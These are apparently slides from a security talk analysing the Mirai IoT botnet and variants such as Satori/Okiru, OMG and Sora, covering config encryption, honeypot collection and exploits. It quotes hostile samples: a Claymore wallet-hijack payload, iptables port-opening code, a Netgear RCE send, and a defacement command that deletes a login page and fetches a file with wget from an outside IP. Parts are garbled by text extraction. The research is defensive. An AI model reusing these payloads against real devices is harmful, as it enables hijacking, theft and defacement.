


# IoT: Battle of the Bots







by Rommel Joven

#### Overview

- I. Brief introduction of Mirai
- II. Anti-analysis and encryption of its configuration
- III. Lab Setup and Honeypot
- IV. Mirai Variants
  - Difference from the original Mirai
  - Popular variants





## 21 KrebsOnSecurity Hit With Record DDoS

**SEP 16** 

On Tuesday evening, Kre distributed denial-of-ser

# 21 DDoS on Dyn Impacts Twitter, Spotify, Reddit

**OCT 16** 

Criminals this morning massively attacked Dyn, a company that provides core Internet services for Twitter, SoundCloud, Spotify, Reddit and a host of other sites, causing outages and slowness for many of Dyn's customers.

# Financial Impact of Mirai DDoS Attack on Dyn Revealed in New Data

By Stephanie Weagle | February 21, 2017

Posted in: Network Security Trends , ISP DDoS Protection , Hosting Provider DDoS Protection



security ratings provider, BitSight, roughly 8% of Dyn's customer base stopped using their services in the aftermath of the attack.



## Mirai's first appearance

- Coded by Anna-senpai
- Source Code released on Hackforums.net on Sep 20, 2016

#### [FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)





#### **Preface**

Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it However, I know every skid and their mama, it's their wet dream to have something besides qbot.


So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.



# Mirai's Components

- Command and Control Server
- Report Server
- Loader
- Bot
- Attack
- Killer
- Scanner



Botnet admin







Infected IoT Devices



















Vulnerable IoT Devices






































#### **Bot Module: Attack**

#### Attack vectors

```
Ready
test@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
greip: GRE IP flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options, optimized for higher PPS
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
stomp: TCP stomp flood
```





## **UPX** header magic

```
ARIMR - 88
                                                            3 >
00000040:
00000070:
ааааааа9а:
0000000A0:
                                                            Qotd#
                                                                                                   000000D0:
000000E0:
                                                                    ?_ëÖSNDJ
000000F0:
             10 0D 16-00 00
                            00
                               00-A0 E0 00
                                                                    áα
00006B24:
                    00-53 4E 44 4A-00
                                      00 00 00-53
00006B34:
                          DD 3E F6-F9
                                      88 ØE 82-CØ Ø2 ØØ ØØ
                                                            .Р...П⊙0 >÷ • ê Ле́ Ч
                                                                                                   Qotd+
                                       000000000:
                                       ?_ëOUPX!
                                       000000E0:
                                       000000F0:
                                        00006B34:
                                                                    3E
                                                                             88
                                                                                ØE 82-CØ Ø2
```

A4 00 00 00-A0 E0 00 00-49 07 00 54-F4 00



# Anti-analysis

dsjn	0xAD86570B
SNDJ	0x0DF0ADBA
RAW\x0	0xF596A4B5
KSL!	0x085A6508
upx	0x58550000
KTN!	0x0CE7790A
VEN!	0x47413509
ELF!	
help	
NOOB	
GMT!	



# Configuration table

```
add entry(TABLE CNC DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\
    x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30)
    ; // cnc.changeme.com
add entry(TABLE CNC PORT, "\x22\x35", 2); // 23
add entry(TABLE SCAN CB DOMAIN, "\x50\x47\x52\x4D\x50\
    x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\
    x4D\x4F\x22", 29); // report.changeme.com
add entry(TABLE SCAN CB PORT, "\x99\xC7", 2);
   48101
```



# Configuration table decryption

```
uint32_t table_key = 0xdeadbeef;
struct table_value table[TABLE_MAX_KEYS];
```

```
static void toggle obf(uint8 t id)
   int i;
    struct table value *val = &table[id];
    uint8 t k1 = table key & 0xff,
            k2 = (table key >> 8) & 0xff,
            k3 = (table key >> 16) \& 0xff,
            k4 = (table key >> 24) & 0xff;
    for (i = 0; i < val->val len; i++)
        val->val[i] ^= k1;
        val->val[i] ^= k2;
        val->val[i] ^= k3;
       val->val[i] ^= k4;
```

```
table_key = 0xdeadbeef

Xor_key = 0x22

(TABLE_CNC_PORT, "\x22\x35", 2); // 23
```



# Xor Key Used

~47 Xor Keys identified

# Commonly used keys:

Table_key(seed)	Xor Key	Variants
0xdeadbeef	0x22	27 (Including Mirai)
0xdedefbaf	0x54	17
0xdedeffba	0x45	15
<none></none>	0x0 (not encrypted)	13
0xdeacfbef	0x66	11





# The KAIB Project

- Static analysis
- Automated decryption of configuration table
- Unpacking if known packer
- C2 server and download URLs collection




# Results

- 21k+ samples collected
- 15k+ are Mirai related samples
- 120+ variants identified
- 500+ C2s Blacklisted



## Honeypot Setup

- Low interaction
- Logs Telnet login attempts
- Logs URLs from WGET download attempts
- Automatically downloads samples





# **Identifying Mirai Variants**

Mirai was named after by the strings/ command:


- /bin/busybox MIRAI
- MIRAI: applet not found

```
zollard
GETLOCALIP
shell
enable
system
/bin/busybox OOMGA
DOMGA: applet not found
ncorrect
/bin/busybox ps
/bin/busybox kill -9
```






#### **Variant Count**



< 2018 Jan-18 Feb-18 Mar-18 Apr-18 May-18 Jun-18 Jul-18 Aug-18




# Samples processed (2018)





#### **Sample Count per Variant**





Count

# Targeted Architecture

ARM 32-bit architecture (AARCH32)

MIPS I Architecture

Hitachi SuperH

SPARC

Motorola 68000


Intel 80386

PowerPC

Intel 80860

AMD x86-64 architecture

IBM System/370 Processor



# Targeted Architecture

# ARC International ARCompact processor

- Discovered January 2018
- Initially used by Okiru variant
- 1.5 billion products are dispatched per year

# Other Variants joining the ARC:

MASUTA	SAUCE
OMNI	chickenxings
ROOT	WICKED




# **Exploits**

- 28 Exploits
- At least 16 are Unauthenticated exploits
- 14 exploits are from 2017 & 2018


Airlink101	Digitalzoomstudio	Netgear
Apache Hadoop	D-LINK	NUUO
ASUS	GoAhead	Realtek
AVTECH	Huawei	Tutos
Claymore	JAWS	Vacron
Dasan	MikroTik	Zyxel





# Satori/Okiru

- Believed to be coded by NexusZeta
- One of the most popular mod of Mirai
- Loader embedded in bot
- Included ARC architecture to its targets
- Uses exploits to spread
- One version mines cryptocurrency



# Satori/Okiru





# Satori/Okiru

#### Scan port 3333:

Exploit that targets Claymore software (ETH mining) in order to change the destination wallet

```
0x804e118L {"id":0,"jsonrpc":"2.0","method":"miner getstat1"}
0x804e022L {"id":0, "jsonrpc": "2.0", "method": "miner file", "params":
            ["reboot.bat", "4574684463724d696e657236342e657865202d65706f6f6c206
                           574682d7573322e6477617266706f6f6c2e636f6d3a38303038
                           202d6577616c203078423135413533333265423763443244443
                           76134456337663936373439453736394133373135373264202d
                           6d6f64652031202d6d706f72742033333333202d6d707377204
                           5687053564874556274"]}
0x804e2a9L {"id":0, "jsonrpc": "2.0", "method": "miner_reboot"}
       EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal
       0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d -mode 1 -mport 3333 -
       mpsw EhpSVHtUbt
```



# Satori/Okiru

# 3.336721 ETH approx 3.3k USD in January 2018

Last 10 payouts

2018

Ethereum 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d

Your account paused. To clear the situation, contact administration.

Earnings	
Current balance	0.0000 ETH
Already paid	3.336721 ETH
Unconfirmed 1.0% fee is 0.0000 ETH	0.0000 ETH
Earning in last 24 hours Rates 0.0000 \$ 0.0000 \$	0.0000 ETH 0.0000 B 0.0000 \$


Date	Amount	Transaction
29 Jan 2018, 08:53	0.54112642	0xc5287e6210a785848f9389b51825824b5f9f6fd26edfb576a4813c2fd85e1d96
23 Jan 2018, 12:30	0.77129879	0x75f79d81aa3f1a92c805bdb2548c05a421bdd1477532c20baf7c941f40d8677d
17 Jan	1.01428845	0x4b2079d1430357608154f1338e77063d3e3089cc7f256db4fcc27e1851b25a44



#### **OMG**

- Turns IoT device into a proxy server
- Contains the original Mirai modules (attack, killer, scanner)
- Brute-force login to spread
- Discovered February 2018

/bin/busybox OOMGA OOMGA: applet not found



#### OMG

- Uses 3Proxy, an open-source proxy server
- Generates 2 random ports for HTTP and SOCKS proxies

```
while (1)
 http proxy port = sock random port();
 socks proxy port = sock random port();
 1+ ( http proxy port == socks proxy port )
   sleep(1);
 else
   v2 = 0:
   sub 42380((int)&v3. 0. 16):
   v7 = ((http proxy port & 0xFF0000) >> 8) | (http proxy port >> 24) | (http proxy port << 24) | ((unsigned int16)(http proxy port & 0xFF00) << 8);
   v6 = ((socks proxy port & 0xFF0000) >> 8) | (socks proxy port >> 24) | (socks proxy port << 24) | ((unsigned int16)(socks proxy port & 0xFF00) << 8);
   02 = 4:
   sub 42360((int)&v4, (const char *)&v7, 4);
   report ports to cnc((int)&v2, 17);
   toggle firewall rule(http proxy port, 1u);// 1 = enable
   toggle firewall rule(socks proxy port, 1u);
   proxy main(http proxy port, socks proxy port);
   toggle firewall rule(http proxy port, 0); // //0 = disable
   toggle firewall rule(socks proxy port, 0);
```

#### **OMG**


Adds firewall rule to allow traffic on the generated ports

```
int fastcall togqle firewall rule(int port, unsigned int8 enable)
 int port1; // r5@1
 int enable1; // r4@1
 int v4; // r6@1
 int v5; // r2@2
 int v6: // r0@2
 int v8; // r2@4
 int v9; // r0@4
 char v10; // [sp+8h] [bp-314h]@1
  BYTE v11[3]; // [sp+9h] [bp-313h]@1
 char v12; // [sp+208h] [bp-114h]@3
 char v13; // [sp+308h] [bp-14h]@2
 port1 = port;
 enable1 = enable;
 v10 = 0;
 sub_42380((int)v11, 0, 511);
 v4 = (int)&v10;
 if ( enable1 )
   table unlock val(TABLE IPTABLES1):
                                               // iptables -I INPUT -p tcp --dport %d -j ACCEPT;iptables -I OUTPUT -p tcp --sport %d -j ACCEPT;iptables -I PREROUTING -t nat -p tcp --dp
   v6 = table retrieve val(TABLE IPTABLES1, &v13, v5);
   printf((int)&v10, (const char *)v6, port1, port1, port1, *(_DWORD *)&v10);
   table lock val(TABLE IPTABLES1);
 else
   table unlock val(TABLE IPTABLES2);
                                              // iptables -D INPUT -p tcp --dport %d -j ACCEPT;iptables -D OUTPUT -p tcp --sport %d -j ACCEPT;iptables -D PREROUTING -t nat -p tcp --dp
   υ9 = table_retrieve_val(TABLE_IPTABLES2, &υ13, υ8);
   v4 = (int)&v10;
   printf((int)&v10, (const char *)v9, port1, port1, port1, *( DWORD *)&v10);
   table_lock_val(TABLE_IPTABLES2);
 exec(v4, (int)&v12, 256);
 return 0;
```



- The author calls himself "Wicked" with his friend "Karmaahof"
- Sora uses Aboriginal Linux
- Commonly uses exploits other than default passwords
- 11 used exploits was found in a sample





- Scans specific ports by initiating a raw socket SYN
- For an established connection, it will attempt to send a specific exploit to the device

```
fd_port8080 = socket_con(ip_addr, 8080);
fd_port8443 = socket_con(ip_addr, 8443);
fd_port80 = socket_con(ip_addr, 80);
fd_port81 = socket_con(ip_addr, 81);
```

```
if ( fd_port8080 )
{
   write(fd_port8080, &rce_Netgear_DGM1000, strlen(&rce_Netgear_DGM1000));
   close(fd_port8080);
```





Hey you, stop right there!

Want your router fixed? No problem! Send an email to krebsonsecurity@gmail.com and we will have it fixed asap!

~ scarface is your daddy ~

rm -rf /web/html/login.html

busybox wget http://185.246.152.173/me me -O /web/html/login.html



# Final thoughts

- More exploits will be added
- More variants will be appearing
- Modification of Encryption of Configuration Table
- Other means to monetize infected IoT devices





# Xie Xie

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